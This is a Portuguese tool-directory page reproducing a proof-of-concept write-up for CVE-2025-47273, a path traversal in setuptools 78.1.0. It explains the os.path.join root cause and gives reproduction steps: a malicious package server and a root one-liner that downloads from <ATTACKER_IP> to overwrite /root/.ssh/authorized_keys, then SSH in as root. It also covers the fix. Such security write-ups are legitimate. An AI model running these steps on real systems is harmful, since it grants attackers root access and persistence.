Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 é uma vulnerabilidade de travessia de caminho (path traversal) de alta gravidade na biblioteca setuptools, especificamente na versão 78.1.0. | Kitploit
Ferramentas/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
Escalada de PrivilégiosAnálise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança da Cadeia de SuprimentosAprendizado e Educação
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 é uma vulnerabilidade de travessia de caminho (path traversal) de alta gravidade na biblioteca setuptools, especificamente na versão 78.1.0.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
13há 5 mesesAinda não revisado

CVE-2025-47273: setuptools versão 78.1.0 - Path Traversal em setuptools.package_index

Aviso Legal

Este Prova de Conceito (PoC) destina-se apenas a fins educacionais e a auditorias de segurança autorizadas. O autor não assume nenhuma responsabilidade pelo uso indevido destas informações. O acesso não autorizado a sistemas de computador é ilegal e antiético.


Análise de Vulnerabilidade

CVE-2025-47273 é uma vulnerabilidade de path traversal encontrada no módulo package_index da biblioteca setuptools (v78.1.0 e anteriores). A vulnerabilidade permite que um atacante realize uma escrita arbitrária de arquivos ao fornecer uma URL especialmente elaborada ao método PackageIndex.download().

A Causa Raiz: Comportamento do os.path.join()

A falha decorre de uma armadilha comum na função os.path.join() do Python. De acordo com a documentação do Python:

Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.

Na versão vulnerável do setuptools, o nome do arquivo de destino é determinado extraindo um nome da URL e juntando-o a um diretório temporário:

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

Se um atacante fornecer uma URL em que a parte do nome do arquivo (após a decodificação da URL) comece com uma barra /, o os.path.join descarta o prefixo tmpdir e retorna o caminho absoluto fornecido na URL.

Diagrama de Fluxo da Vulnerabilidade

root@kitploit:~
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

Impacto Técnico

Uma vez que o caminho de destino pode ser manipulado para se tornar um caminho absoluto, um atacante pode escrever conteúdo arbitrário em qualquer local do sistema de arquivos em que o processo tenha permissões de escrita.

Cenários de Alto Impacto:

  1. Escalação de Privilégios: Se o processo que utiliza setuptools for executado com privilégios elevados (por exemplo, um instalador de todo o sistema), um atacante pode sobrescrever arquivos críticos do sistema como /etc/passwd, /root/.ssh/authorized_keys, ou /etc/shadow e muitas outras possibilidades...
  2. Persistência / RCE: Sobrescrever arquivos de configuração no nível do usuário, como ~/.bashrc, ~/.ssh/authorized_keys, ou injetar código em bibliotecas Python existentes pode levar à Execução Remota de Código persistente.

Reprodução (Sobrescrevendo /root/.ssh/authorized_keys )

Configuração do Ambiente

A vulnerabilidade está presente na versão 78.1.0 do setuptools.

root@kitploit:~
pip install setuptools==78.1.0

1. gerar pares de chaves ssh no diretório poc

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. Iniciar o Servidor Malicioso (máquina do atacante)

O script server.py atua como um índice de pacotes malicioso. Ele serve um arquivo de payload independentemente do caminho solicitado, e o arquivo que estamos servindo é id_rsa.pub.

root@kitploit:~
python3 server.py 80

2. Executar o Exploit (máquina alvo)

Dispare a escrita do arquivo usando este comando e então você pode acessar via ssh como root com o seu par de chaves ssh pré-criado

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. Por fim, acesse via ssh a máquina alvo como root com a chave privada que criamos no passo 1

root@kitploit:~
ssh -i id_rsa root@<target-ip>

Mitigação

A vulnerabilidade foi corrigida na versão 78.1.1 do setuptools. A correção envolve sanear estritamente a variável name derivada da URL para garantir que ela não contenha barras iniciais ou letras de unidade antes de ser passada para os.path.join().

Para proteger seu ambiente:

root@kitploit:~
pip install --upgrade setuptools

Referências

  • setuptools Issue #4946
  • NVD - CVE-2025-47273
  • Huntr Bounty Report
Baixar ferramenta